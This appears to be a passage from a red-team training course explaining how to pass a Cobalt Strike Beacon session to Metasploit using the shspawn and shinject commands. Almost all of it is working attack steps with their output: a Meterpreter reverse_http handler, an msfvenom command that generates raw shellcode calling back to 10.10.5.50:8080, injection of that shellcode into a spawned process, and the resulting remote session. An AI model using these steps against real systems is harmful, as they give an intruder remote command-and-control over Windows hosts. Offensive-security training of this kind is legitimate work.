Spawn & Inject

Cobalt Strike has two further generic injection commands that can be utilised for the purpose of session passing: shinject and shspawn. Both allow you to inject an arbitrary shellcode blob - shinject can inject into an existing process, and shspawn will spawn a new process.

First, change the multi handler to use a stageless x64 Meterpreter payload.

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_http
msf6 exploit(multi/handler) > exploit

[*] Started HTTP reverse handler on http://10.10.5.50:8080

Next, generate the associated payload using msfvenom inside WSL, and save the output to your Payloads directory.

ubuntu@DESKTOP-3BSK7NO ~> msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.5.50 LPORT=8080 -f raw -o /mnt/c/Payloads/msf_http_x64.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201820 bytes
Saved as: /mnt/c/Payloads/msf_http_x64.bin

Finally, use shspawn to spawn a process and inject it.

beacon> shspawn x64 C:\Payloads\msf_http_x64.bin

[*] http://10.10.5.50:8080 handling request from 10.10.122.254; (UUID: 64tqy4zf) Redirecting stageless connection from /jeqN5SIPwEzAGcEbowwz7Q-hb8QsIP with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36'
[*] http://10.10.5.50:8080 handling request from 10.10.122.254; (UUID: 64tqy4zf) Attaching orphaned/stageless session...
[*] Meterpreter session 2 opened (10.10.5.50:8080 -> 127.0.0.1) at 2022-09-05 13:04:53 +0000